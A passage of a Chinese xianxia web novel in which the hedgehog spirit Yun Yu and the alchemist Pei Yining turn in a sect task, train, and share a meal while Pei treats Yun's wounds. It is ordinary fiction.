裴依宁缓步跟上小刺猬,离得近了,她道:“前不久与师姐走过,就记下了。” 放眼望去,此处植被繁茂,隐约可见几株低阶药材生长其中。除了灵丹堂种植有药材外,其它处,或多或少自然生长一些。 刚踏入丹修一途的弟子时常会在宗门各处寻觅药材。 小刺猬曾在剑法阁见过几次,倒也不怀疑裴依宁所言。 只是感慨了句:“你们好辛苦。” 没头没脑的一句,裴依宁扬眉,并不接话,以免说多错多,引得小刺猬怀疑。 任务阁孤坐于昏黄中,敞开的大门被晕染上金边,零星有进出提交任务的,在高耸正门的衬托下,好似一个个黑点。 小刺猬重新贴上隐匿符纸,小跑在裴依宁身侧,与其保持一致的进度。 任务阁黄阶负责人刚将新任务发布,回位就见裴师姐出现在她的桌台前,脑子一转,想到昨日对方接的任务。 裴依宁将弟子令牌拿出,又将晶石放置桌台:“我来提交任务。” 小刺猬没有趴在裴依宁肩头,只乖巧站立,双爪缩在腰腹处,仰着头,看见桌台的一角。 负责人打开袋子,捏出一枚晶石,脸上闪过错愕。 这枚晶石显然没有提取干净,里面的原石与杂质多到再提取一次,重量能减半的程度。 裴师姐怎么会犯这种低级错误。 这种晶石远达不到任务提交的要求。 她硬着头皮将晶石放下,歉意地道:“这……无法提交,您要不再提取一次?” 乖乖巧巧站立小刺猬听见上面传来的声音,下意识扒住桌台下方的腿柱,唇微张,却也知不能说话,眉头撺掇起来。 该不会那个二品炼器师仗着她和宁依不懂这些,偷摸动了手脚。 小刺猬牙关咬紧,握爪。 就知道那人不是什么好东西。 裴依宁长睫扇动,眼睑下方小小的,浅浅的阴影随之细微移动,她按动存放晶石的袋子,指腹按在其中一枚晶石上,火属性灵力翻滚而出。 肉眼可见的,那枚晶石一点点变小,存于其中的蓝紫色灵光流转游动,纯洁精粹。 负责人睁大了眼睛,不想裴师姐竟直接在她面前提取,索性现在无人,她目不转睛地盯着裴依宁的举动。 从中学得一二。 炼丹和炼器有几分相通之处,这种低品阶的晶石,她自是会炼化。 只是一直同小刺猬一起,没找到合适的时机。 现今小刺猬看不见上方的景象,她自可放心提取炼化。 宁依和那位负责人都没有说话,小刺猬不免着急几分,她传音:【宁依,提交不了任务,我们先回去,等明日再想办法。】 她已经想好,明日去器物堂一趟,麻烦她们帮忙炼化。 只是这条任务乃是器物堂发布的,她们再去找器物堂,怎么都说不过去。 她打算这次任务少收取点灵石,从她分得的那部分扣除。 给宁依的五十枚,一枚不少的给对方。 小刺猬没得到回音,只听宁依清浅的声音传出:“这次任务未规定需要提供几枚晶石,一般来说,这样便是默认一枚也可以。” 裴依宁将炼化提取好的那枚捡出。 游走的灵气闪过小刺猬的眼睛。 裴依宁继续道:“这枚晶石应该达到本次任务的要求了。辛苦你再看一遍。” 负责人好生奇怪,裴师姐的这句话总觉得不像是对她说的,反倒是想在给谁解释。 她左右看过,周围十步内,只有她们二人。 她按下心绪,道:“是的,这枚可以,我现在就为您结算本次任务的灵石。” 小刺猬怔愣住,复又咧开嘴。 还好,有一枚是好的,如若不然,等她修炼有成,定要去寻二品炼器师,让他知道欺骗小刺猬,后果有多严重。 负责人将弟子令牌放置中央的方形凹槽,记录下本次的任务名称与结束时间。 随后,一百枚灵点浮现,是灵石的缩小形。 裴依宁素手一挥,尽数收走, 桌台上的袋子被她拎走。 刚出任务阁,小刺猬全身的刺顷刻间炸开,愤愤不平:“那人果真没安好心。” 裴依宁淡然:“他虽是二品炼器师,但多半是侥幸用各种资源堆出来的,自身实力不足,无法炼化完全。心性又是那般,未来也就只能止步二品了。” 靠资源强行堆出,又能走得多远。也就在一些小城小镇中作威作福。 小刺猬被她的话吸引,好奇地:“我只听说修为可以强行堆出,炼器师也可以吗?” 裴依宁点头:“自然,二品是一道分水岭,往后再怎么堆,没有天赋,想要更上一层楼,只怕是痴心妄想。” 这大概也是那人没有资格进入宗门的原因。 小刺猬似懂非懂,炸开的刺被顺下来,贴合着脊背:“原来是这样。”她话音一转,“不过宁依知道的好多啊。” 裴依宁垂眸,小刺猬正扬头,带着几分试探地盯着她。 果然说多错多。 裴依宁蹲下身,双臂搭在膝盖上:“进宗时,师姐就曾告知过我们,要我们稳扎稳打。”她适当地露出疑惑,“星星的师姐没有说过同样的话吗?” 先前裴依宁的那些话不像是新入宗的弟子能说出的,有种老练成熟的错觉,是以她才多问了一句。 小刺猬道:“说过。” 裴依宁弯唇,五十枚光点漂浮在小刺猬头顶上方两公分的位置:“这是星星的部分。” 小刺猬只收得四十枚放入空间储物,剩余漂浮的十枚,她道:“其中五枚是饭钱,当时是你付的,现在还你。另外五枚,是住宿费用,一人一半。” 知道宁依不可能要,小刺猬拿出气势,双爪叉腰,直接道:“不能不收,不然就不让你当我跟班了。” 不收对方当跟班,这么毫无威胁的一句话都被她说出来了。 小刺猬被自己逗笑了,脸上绷着的表情崩塌,她清了下嗓子,弱下来:“反正给你你就收着。”想到什么,她又从收入的灵石中取出一枚,“差点忘记了,当时提取晶石的钱也是你付的,我们依旧一人一半。” 小刺猬划分的很清楚,一分便宜都不占宁依的。 裴依宁眼神微变,细长手指点在其中一枚灵点上,橙黄的暖光打在她白皙的侧脸,另一半脸颊却是隐匿在昏暗中。 说不上来是什么情感,某处泛起酸涩,裴依宁无法准确抓住:“星星要和我分的这么清吗?” 她道:“只是几块灵石而已。” 小刺猬莫名感受到情绪沉闷了些许,但她坚持原则,强硬地:“该是你的就是你的。” 小刺猬语气软下来:“不是要和你分得这么清,即使我们是很好的朋友,也要保持适当的分寸。” 她眼睛亮亮的:“我想要和宁依成为长长久久的好朋友。” “好朋友。”三个字在裴依宁舌尖滚过,那股酸涩感似乎更甚,不知为何,她不太喜欢这三个字。 道不明的东西在无形中拉扯她,左右她的情绪。 小刺猬应声:“对啊,宁依是我在明越宗交的好朋友之一哦。” 好朋友之一。 之一。 裴依宁深呼气,指腹一遍遍地摩挲。 浮在半空中的灵点闪烁着的芒将小刺猬包裹其中,拢着的刺柔顺在后背。 “下次有机会,我再介绍宁依和其她朋友认识。”小刺猬自顾自地道,“她们一定会很喜欢宁依,宁依也会喜欢她们。” 裴依宁唇边的笑意凝固,弯下的弧度一点点归拢,理智将那句下意识要脱口而出的“不喜欢”咽下。 她说:“我很期待和星星的其她朋友见面。” 她将悬浮在空中的十一枚灵点收下。 小刺猬心满意足。 天色渐晚,夕阳只在地平线冒出一小点,余量不足以照亮天空,夜晚悄然占据主导权。 一人一刺猬在此地告别,一个前往剑法阁,另一个回灵丹堂。 只是,回灵丹堂的那人,折转去了器物堂。 * 本次任务到手的灵石剩余三十九枚,之前已经用少量灵石粉打磨过佩剑,再加上这次的,还能剩余几块。 化作人形的小刺猬哀叹着将灵石磨成粉末。 奔波两日,云榆的精神尚且不错,她戳着后颈,往开辟出的洗漱的地方走去。 窗外风过,卷起屋内摊开的书页。 听见声响,云榆看一眼,脚步回退,将不知什么时候打开的书合上。 洗漱完,云榆盘腿坐在床上,气沉丹田,闭目,回顾入宗以来剑法阁师姐们教导的剑招以及话语。 师姐们曾夸她在剑道上的天赋不错,但云榆却不觉得。 为了能及早提升修为,也是因没入宗前学得太杂太乱,导致她体内的灵珠吸收天地灵气的速度并不快。 她必须摒弃先行所学。 云榆咬住唇,运转灵珠,默念心法口诀。 充盈在空气中的灵气缓而慢地向她涌来。 时间一分一秒地流逝,云榆后背的衣衫被汗水打湿,额角上的汗珠大颗大颗往下落,重重砸在手臂上,凝成绽开的花。 云榆呼吸变得急促,身体承载不住灵气的涌入,疼痛得厉害。她紧紧咬着下唇,腥咸的液体没入口腔,血腥气弥漫开来。 是她的唇被咬破了。 云榆浑然不觉,灵珠剧烈震颤,在体内冲撞,经脉一根根凸起,攀织在一起。 远远看去,极为骇人。 终是到了阈值,云榆身体猛地往后一靠,大口大口地喘息,血腥气顺着口型没入喉咙,整个呼吸道都是浓重的铁锈味。 云榆不在意地摸了把。 这点疼痛还远远达不到她能承受的范围。 重新洗漱过后,云榆翻阅了会从杜寻雁那拿来的剑法古籍,直到睡意袭来,才是放下书,进入梦乡。 第二日一早,云榆正在吃早餐。 门外有敲门声。 云榆起身开门。 是卞凝和应滟。 两人脸上是藏不住的喜悦。 卞凝向来沉稳,表现不多,反观应滟,脸上都快笑出一朵花了。 不等云榆说话,一柄长剑从侧方横穿而来,被应滟一把抓住,挽了个漂亮的剑花,女人笑眯眯地说:“云榆,看,我的佩剑,是不是很厉害。” 说着,她一挑一刺,剑气向四面扩展。 云榆配合地拍拍手:“不错不错,你们两人的剑都已经铸造好了?” 卞凝并未拿剑,只是含笑点头:“昨晚收到杜师姐的消息,我和应滟等不及,当晚就去了趟器物堂。” 应滟接话:“是啊是啊,当时我还怕太晚打扰了器物堂的师姐们,但实在是心急得厉害。” 云榆理解她们的心情,毕竟她感受过。 她问:“用灵石粉打磨了吗?” 卞凝心虚地摸了摸鼻尖,眼神不自觉乱飘:“打磨了。” 云榆眨眨眼,她记得卞凝因买各种小玩意,灵石剩不了多少。 “咳咳,”卞凝被她看得心更虚,蒙在身上的沉稳褪去不少,“应滟借我了一部分。” 当时她灵石不够,应滟知道后,二话不说直接塞给她五十枚,只说了句日后有了再还给她。 一幅财大气粗的模样。 云榆大概明白了,打趣道:“看来我们这还有位有钱的,”她注意到应滟虽看似对她们很亲密,但有意无意中总会透出几分不安。 是那种自觉融不进她们而产生的不安。 云榆自然地揽过应滟的脖颈,另一只手臂揽住卞凝:“不错不错,我们三个也算是各有擅长,以后在宗门内相互照应,共同进步。” 她侧头对应滟开玩笑:“当然,这位道友愿意养我的话,我可以当个混吃等吃的小废物。” 应滟哈哈大笑,与她勾肩搭背,混在一起:“那可不行,我不养废物。” 卞凝无奈地看她们两眼,都什么跟什么:“我不当废物,所以,应大小姐养我吧。” 三人笑闹了会,在云榆这吃过早餐,一并往练剑之地而去。 新入剑法阁的弟子有数位已经拿到了佩剑,正在展示新剑,引得周围一圈还没拿到佩剑的同门一阵羡慕。 杜寻雁和一众剑法阁的师姐就是在这个时候来的。 欢闹的人群顷刻间安静下来。 杜寻雁扫过几位拿到佩剑的弟子,下巴微扬,往旁边一点:“剑已经铸好的,站在左边,没拿到的站右边。” 两队人很快分散站好。 知晓师妹们对佩剑的急切,杜寻雁先是对右边的师妹道:“器物堂不久前传音过来,剩余的剑会在今日全部铸造完毕,今晚你们就可以去拿。” “好耶。”几道欢呼声炸开。 杜寻雁抬手。 场面恢复安静。 她又说:“你们今日暂时用铁剑练习前几日的剑招。” 说完右边的,她眼睛一转,对左边的人问:“新剑可用灵石粉打磨过?” 几人对视一眼,云榆,卞凝,应滟三人举起手。 剩下两位面面相觑。她们的灵石属实不够,只能等下个月灵石发放,再开光打磨。 杜寻雁心中了然,与身侧一人耳语了几句,那人点点头,凭空取出一百枚灵石,两人各五十枚。 她说:“我和你们师姐商量过了,由于你们入宗不久,这次佩剑开光所需的灵石由我们出。” “当然,你们三人也是。”杜寻雁看向云榆三人。 语落,三人面前亦是各出现五十枚灵石。 “多谢师姐。”五人齐声道。 杜寻雁摆摆手,与她们说了相关事宜后,便是让几人自行修炼。 铸剑之后,便不会向从前那般一招一式地带着她们练了,更多的是依靠自己。 剑法讲究招式,力量和角度,同一套剑招,施展出来的威力也不尽相同。 云榆自知力气不够,首先想的是提高气力,若是与人交战,连剑都拿不稳,丢了剑修的面子也就罢了,说不定连小命都要丢。 于是,在几人沉浸在用灵剑修习剑招时,云榆跑到了附近一处放置各种石块的空地。 这里的石头个个看着不大,但个个重量不少。 云榆先从自己能承受的重量开始,将石块从最左端运到最右端。 杜寻雁巡视一圈,就见云榆在那搬石头,她眼皮一跳:“你在做什么?” 云榆气喘吁吁:“练力气。” 杜寻雁蹙眉,左端的石块有几块已经被搬到了右边。 云榆瞧见杜师姐神色变动,心中一紧,忙放下石块:“杜师姐,我这可是有不对的地方。” 杜寻雁:“思路是好的,但方法不对。” 她指着云榆刚放下的石块,又指了指左右两端:“这里来回不过十几步的距离,你一拿一放,与没练又何区别。” “只选择一块石头,只依靠单纯的肉身力气,从这搬到剑法阁的边缘,而后再将那块石头搬回来,中途不到力竭不可放下。” 杜寻雁单手举起云榆刚才放下的石头,撇撇嘴:“的确需要练力气,这点重量就累成这幅模样,体质有点差了。” 云榆:“……” 有了杜寻雁的教导,云榆首先选择了石场上重量最轻的一块。 即使是最轻的一块,她也觉得沉重无比,刚开始的百步还能坚持,百步过来,手臂如同被什么东西拽住,不受控制地往下坠。 牢记杜师姐的话,她咬紧牙关,强撑着一步步地往前走。 又走了百步,手臂一软,膝盖一弯,石块落地。 她同样跪趴在地。 云榆双手撑着地面,汗水顺着脖颈蜿蜒没入衣衫,脸上的汗水砸入地面,浸染新冒出的嫩芽。 等喘过气了,云榆搬起石块,继续前行。 走走停停,一块石头运回,半个时辰已过。 “还行。”杜寻雁评价。 云榆闭上眼,有颗汗珠流进眼睛,刺得她直冒泪水,左一下右一下地擦。 掌心的茧被抹掉一层皮,血丝透出。 云榆轻轻揉捏虎口几下,待到气息彻底平缓,再度搬起那块石头,来回往返。 第二遍比第一遍适应度稍微高些,但由于第一遍已经耗费了大量体力,第二遍耗时比第一遍还要多。 第四次往返时,云榆终于受不住再次累倒在地。 手上磨出的水泡直接被磨破,稍一触碰就觉得疼。 掌心一块皮肉被掀开,跪在地上的云榆小心翼翼地吹气,凉气勉强驱散一丝疼意。 一道阴影在此刻投下。 云榆以为是杜寻雁,正要起身,一抬头,怔愣在原地。 是宁依。 裴依宁不知看了多久才走来,她的视线最终定格在云榆摊开的手掌上。 作者有话说: 又来晚了(跪倒) 这章依旧掉落红包 第26章 第二十六章[VIP] 云榆跪在地上, 一瞬间忘记了皮肉掀起的掌心,瞧见认识的人,双掌撑在草地就要起来。 草是柔软有韧性的,草叶裹挟着碎石钻入掀起的皮肉, 再一挤压, 剧烈的疼痛让云榆顷刻间睁大了眼睛,表情凝滞地咬紧牙关, 将呼痛按在嗓子中。 豆大的汗珠顺着脸颊滑落, 挂在下颚处,云榆仰起头, 望着居高临下看着她的女人。 还好,还好宁依不认识她的人身, 不然自己这个样子,又要在对方面前丢脸了。 裴依宁无悲无喜,唇齿张合,疑惑而不确定地:“云榆?” 云榆刚想问女人怎么知道自己的名字,忽而想起那日在器物堂外遇见的场景, 那时她主动告知了女人她的名字。 云榆浅浅呼出气:“昂, 好久不见。” 算不得多久。 裴依宁弯下腰, 伸手。 云榆顿了下, 抬起另一只磨得没那么严重的手, 借力反握住裴依宁的掌, 从地上爬起。 “多谢。”云榆勾起被汗水黏在唇边的一根发丝,“我记得你, 你是灵丹堂的。” 云榆拍拍沾满灰尘的膝盖, 重力跪下时,膝盖被硌到, 跪在地上尚不觉得,此刻站起,全身力气靠两条腿支撑,疼得她又是一个咬牙。 感觉今天快要把牙咬碎了。 此地是剑法阁的地盘,云榆实在不明白宁依来此处作何,总不能是为了找自己吧。 但自己目前的任务量还没完成,不能冒然变回小刺猬,她往后退半步,松开交握的手,随口一提似的:“你是来剑法阁找人吗?需要我帮你吗?” “不找人。”裴依宁眉宇间的神色压了又压:“路过,听闻师姐提过剑法阁的剑法,便想来看看。” 真是来得早不如来得巧,正好赶上她狼狈的一幕,云榆一时间不知该说什么,苦笑着扯开嘴,遥遥一指:“那边有人正在练剑法,你直走,听见剑鸣声拐个弯就是。” 正午日头毒辣,云榆背过身,甩了甩手腕,蹲身拾起掉落的石头。 肌肤上有水痕,是又被磨破了颗水泡。 裴依宁没动。 云榆搬着石块走了几步,扭头一歪,即使难受不已,还是挑出笑意:“你不会路痴吧,这么简单的路线都记不住?” 毕竟是自己的小跟班,总要满足对方来剑法阁的小心愿:“跟着我,我正好也要过去。”她顿了顿,“不过我走得有点慢,你别嫌弃昂。” 每走一步,骨头摩擦,噼里叭啦的声音经由骨传导,传至云榆的耳中。 肌肤涌上一层红意,石块上星星点点的红色。 裴依宁做不到视而不见,快步跟上,轻按在云榆的肩膀。 云榆不得不停下脚步,攒足的气力泄去,石块重新掉落在地。 云榆:“……” 不是,她到底知不知道这石头有多重,到底知不知道她拿起一次要做多久的准备。 裴依宁眉心微不可察地蹙起:“你的手受伤了,我这有药。” 她凭空取出一瓶药粉,一瓶丹药,一并递给云榆,提醒道:“修炼完,记得将药粉撒在伤口,再吃一枚丹药,半个时辰,伤口即可恢复如初。” 她垂眸,石块上的血色刺得她某处疼得厉害:“都是同门,不用拒绝我的好意,别耽误了自身修炼。” 云榆又被哽住,面前的人怎么每次都能知晓她心中所想。 她的人形和宁依不过两面之缘,可以说几乎是陌生人,但即使这样,宁依还是给了她两瓶效果如此之好的药。 她暗自感概,宁依真的是个心地善良的人。 裴依宁许是不愿打扰云榆修炼,亦或者是不愿看见她现在的模样,反身欲走,可到底是没忍住,侧过身。 身后的人再度弯腰去捡那枚石头。 裴依宁道:“等会修炼结束来找我,你的手不方便,我给你上药。” 上午的修习差不多要结束了,裴依宁继续道:“我在剑法阁峰阁边等你。” 云榆刚想说不用,但拿人手软,不想拒绝小跟班的善意,点头:“好,我到时去找你。” 裴依宁离开了。 云榆舔了下唇,气沉而下,气力汇聚在手腕处,一个用力过猛,搬起石头向后倒退了几步。 稳住身形,云榆原路返回。 这一次,所耗费的时间又是比前一次多,但几次下来,云榆勉强适应了这个重量。 杜寻雁瞧见她回来,与正在指导的师妹说了几句,大步迎着云榆而去。 到达最终位置,云榆手臂弯曲,用力将石块扔下。 剑柄将她的手腕挑起,云榆眼皮一跳,就见杜寻雁抓着剑鞘,仔细打量她掌心肌肤,眼底有不忍闪过。 她低叹一声:“才一个上午就磨出了这么多水泡,下午还练吗?” 这种自是要长久坚持才有效果。 云榆:“练的。” 杜寻雁点点头,从空间储物中取出一瓶药膏,嘱咐:“等会抹点在破了的地方,以免伤口溃烂。” 云榆迟疑了下,宁依给了她两瓶药了,听起来效果比杜师姐给的还要好。既然如此,她没必要再拿杜师姐的药,不若留给其她同门。 她婉拒:“多谢杜师姐的好意,我这有药,够用了。” 杜寻雁顾及她新入门没多久,性子又是不愿给人添麻烦的那种,担心对方不好意思,强撑着:“什么药,能给师姐看看吗?” 云榆拿出其中一瓶药粉:“当然可以。” 杜寻雁接过质地温凉的瓷瓶,上方软盖上篆刻着“灵丹堂”三个字。 此药粉出自灵丹堂,杜寻雁有了计较,倒也没打开,只是道:“既然有药,那师姐就不勉强你了。今日下午试试重量再高一些的石块。” 云榆应下。 眼见还有时间,她又搬了一个来回的石块。 掌心的水泡又被磨破几颗,黏腻腻地糊在一起。 尤其是指尖的两颗磨破的水泡。都说十指连心,云榆今日是彻底感受到了。 破开的指腹不小心按在石块尖锐的凸起,钻心的疼痛源源不断的袭来,有几个瞬间,云榆都想把石块直接扔在这里,任性的回到洞府,好好睡个三天三夜。 只是念头这么闪过,但真要她付诸实践,是万万不可能的。 她还要提升实力,还有很重要的事情在等着她。 最后一趟结束,云榆彻底没了力气,任由自己坐在一块平整的石块上,双臂伸直,汗湿的长发并在一起,一缕缕地黏在脸上。 她顾及不得,大口喘气,缓和躁动的心脏。 卞凝和应滟蹲在云榆两边,各拿着一瓶水准备喂云榆。 “我没事。”云榆扯出一抹笑意,浑然不在意地挥挥手。 一滴血水从指尖甩去。 应滟关心:“先喝点水,你脸好红,下午在洞府好好休息休息,身体别弄垮了。” 卞凝道:“我和应滟扶你回去吧。” 云榆摇摇头,她答应宁依结束后会去找她,宁依现在就在峰阁那等她,她不能失约。 “我真的没事。”云榆僵硬地扯出笑意,心脏剧烈跳动,带动胸膛起伏不断,接过应滟递来的水,灌了几口下去,体内的燥热被抚平些许。 剩余的水被她倒在脸上清醒。 卞凝拿着的水也被倒到脸上,随后使了个净身术将衣衫弄干净。 喉咙滚动,黏腻的血腥气被咽下,云榆道:“你们先回去吧,我还有别的事。” 应滟怎么放心让她一个人,对方的情况的确不容乐观:“我们先送你去灵丹堂看看。” 卞凝不赞同地看着云榆:“有比你身体还重要的事吗?” 知道朋友是在关心她,可暂时不能让她们知晓宁依,云榆领了她们的好意,费了一番功夫才能两人劝离。 等人走远了,云榆才是起身,一瘸一拐地往剑法阁峰阁去,走到半路,她突然想起现在不是在修炼,她可以用灵力赶路。 被自己蠢到,云榆调动灵力,身形浮起,几息间赶到峰阁边缘。 裴依宁早已等候多时。 “宁……”云榆刚出一个音就强行闭嘴。 按理来说,她的人形并不知晓宁依的名字,上次遇见,宁依只说有缘再告诉她,她现在喊对方的名字,岂不是直接暴露了。 宁依已经看了过来,云榆脑瓜子飞速运转,音一转,“您等在这里很久了吧。” 宁和您,其实还是有一点相似之处的。 云榆只觉自己脑子转得快。 裴依宁视线锁在云榆的脸上。 云榆和她记忆中爱笑的模样别无二致,此刻水汪汪的眼睛弯起,偏软偏甜的声线让人不自觉放松。 可她那走路的姿态,实在让人放松不下来。 裴依宁轻唤:“云榆。” 云榆笑眯眯地应下,从空间储物中拿出裴依宁先前给的两瓶药,抬起血肉模糊的手掌。 水泡中黏腻的液体和血液混合在一起。 有点骇人。 云榆生出不好意思,明明来之前洗干净了,怎么这么一会的功夫,脓水又流出来了。 她咳了声:“我自己来吧。” 裴依宁却不知从哪拿出了两只板凳,示意云榆坐下,她则是坐在云榆对方,不可反抗地握住云榆的手臂一拉,再往自己腿上一放。 单手挑开瓶塞,瓶身倾斜,细腻的白色粉末洋洋洒洒的落在伤口处。 发热,发烫,发痒。 云榆忍不住要挠,被裴依宁一个眼神制止。 宁依现在的表情有点不友好。云榆心道。 另一只手被如法炮制。 云榆小幅度动了下,不见宁依吭声,便没敢将手放下,她小心翼翼地问:“可以了吗?” 裴依宁道:“腿。” 云榆:“啊?” 裴依宁重复:“你的腿给我看看。” 云榆下意识拒绝:“不要。” 裴依宁掀起眼皮,云榆气势陡然弱了下去,诺诺地:“这在外面。” 云榆叹息:“要不去我那?” 在外面掀开衣服,怎么想怎么不对劲。 她还没有开放到那个程度。 裴依宁习惯性地摩挲指腹,似乎在考虑要不要去。 云榆暗骂自己突兀,别人本来是要过来看剑法的,结果因为自己,不仅剑法没看成,还浪费了这么长的时间。 如今还不顾对方的意愿,拉着对方去她的洞府。 宁依这么温良的性子,她都那般说了,肯定不会拒绝。 云榆急忙圆回去,她尬笑一声:“突然想起我洞府还没打扫……” “走吧。”裴依宁淡淡地打断她。 云榆:“……好。” 默念一万遍幸好小跟班不知道这是自己的人形。 不然真是刺猬形丢完脸,人形再丢个脸,她还怎么在小跟班面前抬起头。 云榆简直欲哭无泪,只能以此安慰自己。 但当回到洞府,无意中看见裴依宁略显诧异地往后退一步,云榆又想到一件事。 她的洞府还没裴依宁的一半大。 云榆:“……” 真是小的吓到跟班了。 云榆侧身:“有点小,别介意。” 裴依宁进入:“不小,很整洁。” 云榆:“东西少,怎么放看起来都整洁。” 云榆坐下,长腿伸直,膝盖摩擦声清脆。 裴依宁蹲下身,擒住云榆的左腿,微微向上一抬。 云榆脸白了几分。 裴依宁见状,力度更加柔和,指尖的灵力穿过云榆的肌肤直达内里,温和的灵力将膝盖包裹。 衣衫不好掀开,裴依宁抚着云榆的小腿向下一些:“冒犯了。” 云榆还未反应她这话的意思,就听见“刺啦”一声,衣衫被撕裂,空气近距离侵入肌肤,凉意袭来。 只是小腿到膝盖的布料而已,云榆道:“没事。” 膝盖处青紫红肿,密密麻麻的凹陷,是碎石隔着衣衫硌出来的。 膝盖到小腿处有一条约莫五公分的伤口,伤口不深,只渗出些许血渍。 云榆也看见了这道伤口:“怪不得觉得小腿有些疼,原是这边也拉了一道伤口。” 裴依宁道:“我先给你上药。” 裴依宁取出一瓶新药膏,指尖沾取一点,顺着伤口的末端往下涂抹。 冰冰凉凉的触感让云榆不由自主地往斜。 裴依宁扶住她的小腿:“别动。” 药膏渗入肌肤,这次没了痒感。 膝盖处有些难处理,裴依宁塞了枚丹药进云榆口中:“闭眼。” 云榆乖巧听话。 一道无形的隔绝降下,将整座空间禁锢,银紫色灵力自裴依宁掌心而出,覆盖住两处膝盖。 与此同时,不久前取出的药膏被炼化,浓缩成一滴水,没入膝盖。 在灵力的催动下,青紫色肉眼可见地褪去,凹凸不平之处亦是恢复正常。 半柱香后,无形的屏障连同灵力一同撤去。 裴依宁道:“睁眼。” 久不见光,恍一睁开还有几分不适应,云榆眨过几次眼,低头,腿伤已好,再一动,也不觉得疼。 宁依的医术竟然如此之好。一品炼丹师的含金量竟然如此之高。 裴依宁重新握住云榆的手腕,情绪不明地沿着伤口边缘滑过,她头稍稍低垂,云榆的手掌不自觉地向上抬起几分。 裴依宁清浅的呼吸落在涂抹药膏的地方,那股痒意又升了起来。 “感觉怎么样?”裴依宁温声问。 云榆老实说:“有点痒。” 裴依宁垂下眼睑:“嗯,不要碰,半个时辰就能好。”小刺猬还没吃午饭,裴依宁指腹无意识地摩挲着云榆的手腕,“饿不饿?” 刺猬形吃饭总是慢慢的,比不得人形方便,云榆私心是想吃的。 但宁依都为她疗伤了,再让对方做饭,也太不是人了。 还好,她是妖,不是人:“有点饿。” 裴依宁清点空间储物中剩余的食材,做一顿饭绰绰有余。环顾一圈,没找到可以生火做饭的地方。 那次小刺猬的厨艺历历在目,没有灶台也是正常。 依靠火属性灵力,一顿简单的饭菜做了出来。 香味扑鼻,云榆迫不及待去拿筷子。 裴依宁快她一步拿走两双筷子,神情不变:“你的手暂时不能用。” 两只手恢复地差不多了。 云榆无措地:“总不能让我用嘴啃吧。” 有伤风化而且实在不便。 裴依宁淡淡道:“我喂你。” 云榆:“……没必要吧。” 裴依宁:“我不希望因此扯动伤口,有损我的医术。” 绕是脸皮再怎么厚,云榆也做不到脸不红心不跳地让女人喂她吃饭,她耷拉着脑袋,额头磕在桌面,曲起恢复如初的腿来回晃动:“我等手好了再吃吧。” 裴依宁捏着筷子:“饭菜会凉,吃了对身体不好。” 云榆随口道:“没关系啊,我以前都没吃过几顿热乎的饭,习惯了,不会有影响。” 到底是没让女人喂她,等最后一个水泡消失,云榆兴高采烈地展开无瑕地双手:“真的在半个时辰恢复好了。” 她捏起筷子,不客气地夹起最近的一道菜塞入口中。 菜品被裴依宁用灵力温着,吃到嘴里还是热乎的。 果然,人形要比刺猬形方便多了,夹菜都不需要宁依帮着夹了。 裴依宁没怎么说过话。 云榆吃到一半觉得气氛不对,她之前用刺猬形和宁依吃饭时,对方虽少言语,但绝不会向现在这般沉默至此。 许是觉得两人不熟,放不开。 宁依性子这般好,又是帮她治疗又是帮她做饭,她怎么还冷落对方,只顾着吃。 捏起一旁的公筷,云榆给裴依宁夹了块牛肉:“虽然是你做的,但我还是要说,多吃点,真的很好吃。” 一块牛肉出现在碗中,裴依宁拿着筷子的手紧了几分,指骨绷紧。 云榆又问:“对啦,你还没告诉我,你的名字。” 该走的流程还要走一遍。 裴依宁夹起那块牛肉,并不入口,片刻后,她放下筷子,双手叠放。 云榆笑盈盈地看着她,主动道:“上次你说有缘再见,会告诉我,我们这算有缘吗?” 裴依宁很少遇到为难的事情,但此刻,她却不知道该如何回答云榆的问题。 说宁依吗? 裴依宁不愿意。 她注视着云榆含笑的眸子,难以启齿的感觉不断冲击着她的内心。 不愿让她为难,云榆耸肩:“名字只是个代号而已,不说也没事的,你不告诉我,我也不会吃了你啊。” 云榆盛了碗汤:“我知道你是灵丹堂的,你入宗多久了?” 这个问题裴依宁可以回答:“太久了,记得不太清楚了。” 正在喝汤的云榆差点被呛到,她不可置信地抬起头,重复:“太久了?” 裴依宁点头:“嗯,粗略算来,已有百年了吧。” 云榆:“……” 装,真能装,怎么说得比她还假,就算不愿意告诉自己,也没必要扯这么远吧。 还百年,明明和她差不多,入宗几个月而已。 想到这,云榆莫名心虚,她当初和宁依说的时候,也故作一派老成的样子。 完蛋了,宁依该不会和她学坏了吧。 一想到这个可能,云榆嘴角不受控制地抽搐了几下。不行,她不能带坏这么好的宁依,她今晚务必和宁依见一面,好好和宁依谈谈这个问题。 怎么能骗妖呢。 骗人可以,不能骗妖。 她云小刺猬就是这么双标。 “啊,那你入宗时间挺长昂。”云榆缓过神,脸埋在碗中,生怕自己笑出声来,“这样算来,我该叫你一声师姐才对。” 裴依宁道:“的确,你现在就可以叫一声。” 云榆:“……” 占便宜没够了,是吧。 可恶,她今晚一定要好好教育教育宁依。 她有心问:“既然你入宗这么久,那在剑法阁你认识哪些人?” 裴依宁将碗中牛肉塞入口中,回忆道:“剑法阁认识的人不多。” 云榆不信。 裴依宁话音一转:“不过我和你们峰阁杜寻雁师妹有过几面之缘。” 云榆:“……我看起来是不是很傻?” 所以宁依能这样骗她。 裴依宁知她的意思,但她现在所言全部都是关于自身的实际,没有半点虚言。 “没有。”裴依宁道。 云榆妥协。 算了,她和小跟班计较这些做什么。她的人形与宁依本就几面之缘,对方有所警惕是对的。 说明有防备心嘛。这是好事。 她原先还担心宁依就这么跟着陌生人走会不安全,现在看来,也不尽然。县驻副 最起码对方胡编乱造的能力还不错,若她对宁依不了解,真能被唬过去。 作者有话说: 啊啊啊啊,又来晚了 我明天一定准时!!!一定!!! 本章掉落小红包 第27章 第二十七章[VIP]陷著腐 饭后, 本着宁依做饭,她收碗的念头,云榆很自然地在裴依宁放下碗筷后将桌面收拾干净。 洗碗时,她忍不住感慨, 还是人形方便, 根本不用担心摔碎碗或是跌倒之类的。 “喝茶吗?”云榆泡了壶热茶,见对面女人点头, 她倒了杯递过去, 顺势坐在了裴依宁的斜侧方。 裴依宁捧着茶杯,在云榆期待的目光下抿了口。 茶香比之出宗做任务时, 留宿的那家客栈好很多。 云榆不爱喝茶,就着一杯白水, 懒懒地支撑着侧脸,眉目弯弯:“不过我怎么称呼你,一点称谓不带太生疏了吧。”她两指点过桌面,“好歹一顿饭的交情。” 念及不久前裴依宁的抗拒,云榆立刻接话:“那我直接称呼你为同门?”她蹙眉思索, “虽然听着也很生疏, 但比什么都不带好, 宁……您觉得呢?” 裴依宁淡淡地:“师姐。” 云榆:“嗯?” 